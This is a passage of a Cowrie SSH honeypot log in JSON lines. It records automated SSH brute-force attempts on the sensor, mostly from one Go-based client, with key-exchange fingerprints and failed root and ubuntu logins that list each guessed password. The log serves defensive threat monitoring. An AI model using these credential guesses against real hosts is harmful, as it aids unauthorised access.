m@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:31.697342Z","src_ip":"60.165.124.241","session":"d398f7b76635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xujing","message":"login attempt [root/xujing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:32.423959Z","src_ip":"60.165.124.241","session":"d398f7b76635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:33.664565Z","src_ip":"60.165.124.241","session":"d398f7b76635","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55160,"dst_ip":"10.17.0.5","dst_port":22,"session":"650a54538618","protocol":"ssh","message":"New connection: 60.165.124.241:55160 (10.17.0.5:22) [session: 650a54538618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:33.897034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:33.902495Z","src_ip":"60.165.124.241","session":"650a54538618","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:34.139919Z","src_ip":"60.165.124.241","session":"650a54538618","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lucky","message":"login attempt [root/lucky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:34.862661Z","src_ip":"60.165.124.241","session":"650a54538618","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:36.102939Z","src_ip":"60.165.124.241","session":"650a54538618","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58212,"dst_ip":"10.17.0.5","dst_port":22,"session":"4998ff3cbcd6","protocol":"ssh","message":"New connection: 60.165.124.241:58212 (10.17.0.5:22) [session: 4998ff3cbcd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:36.337757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:36.342577Z","src_ip":"60.165.124.241","session":"4998ff3cbcd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:36.580487Z","src_ip":"60.165.124.241","session":"4998ff3cbcd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AAaa123123","message":"login attempt [root/AAaa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:37.327821Z","src_ip":"60.165.124.241","session":"4998ff3cbcd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:38.579351Z","src_ip":"60.165.124.241","session":"4998ff3cbcd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33110,"dst_ip":"10.17.0.5","dst_port":22,"session":"b07a32fcdf28","protocol":"ssh","message":"New connection: 60.165.124.241:33110 (10.17.0.5:22) [session: b07a32fcdf28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:38.866408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:38.871790Z","src_ip":"60.165.124.241","session":"b07a32fcdf28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:39.129387Z","src_ip":"60.165.124.241","session":"b07a32fcdf28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11112222","message":"login attempt [root/11112222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:40.686441Z","src_ip":"60.165.124.241","session":"b07a32fcdf28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:41.960127Z","src_ip":"60.165.124.241","session":"b07a32fcdf28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37034,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff3724a18e33","protocol":"ssh","message":"New connection: 60.165.124.241:37034 (10.17.0.5:22) [session: ff3724a18e33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:42.205801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:42.211440Z","src_ip":"60.165.124.241","session":"ff3724a18e33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:42.468034Z","src_ip":"60.165.124.241","session":"ff3724a18e33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maomao","message":"login attempt [root/maomao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:44.708431Z","src_ip":"60.165.124.241","session":"ff3724a18e33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:45.958035Z","src_ip":"60.165.124.241","session":"ff3724a18e33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41654,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f92276cc61c","protocol":"ssh","message":"New connection: 60.165.124.241:41654 (10.17.0.5:22) [session: 0f92276cc61c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:46.214715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:46.219830Z","src_ip":"60.165.124.241","session":"0f92276cc61c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:46.478782Z","src_ip":"60.165.124.241","session":"0f92276cc61c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWER@6446123","message":"login attempt [root/QWER@6446123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:47.225302Z","src_ip":"60.165.124.241","session":"0f92276cc61c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:48.474353Z","src_ip":"60.165.124.241","session":"0f92276cc61c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":53290,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf1e0085b35f","protocol":"ssh","message":"New connection: 2.57.122.208:53290 (159.203.135.109:22) [session: bf1e0085b35f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:48.546136Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44944,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed8a60f72d8a","protocol":"ssh","message":"New connection: 60.165.124.241:44944 (10.17.0.5:22) [session: ed8a60f72d8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:48.697720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:48.708829Z","src_ip":"60.165.124.241","session":"ed8a60f72d8a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:48.764928Z","src_ip":"2.57.122.208","session":"bf1e0085b35f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:48.768923Z","src_ip":"2.57.122.208","session":"bf1e0085b35f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:48.947845Z","src_ip":"60.165.124.241","session":"ed8a60f72d8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer1234@","message":"login attempt [root/Qwer1234@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:49.669790Z","src_ip":"60.165.124.241","session":"ed8a60f72d8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:50.644887Z","src_ip":"2.57.122.208","session":"bf1e0085b35f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:50.908326Z","src_ip":"60.165.124.241","session":"ed8a60f72d8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47788,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fc80897c0e0","protocol":"ssh","message":"New connection: 60.165.124.241:47788 (10.17.0.5:22) [session: 8fc80897c0e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:51.144452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:51.149643Z","src_ip":"60.165.124.241","session":"8fc80897c0e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:51.387711Z","src_ip":"60.165.124.241","session":"8fc80897c0e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":30404,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a35c7535a35","protocol":"ssh","message":"New connection: 87.251.64.176:30404 (10.17.0.5:22) [session: 2a35c7535a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:51.875810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:51.884228Z","src_ip":"87.251.64.176","session":"2a35c7535a35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:51.967710Z","src_ip":"2.57.122.208","session":"bf1e0085b35f","protocol":"ssh"}
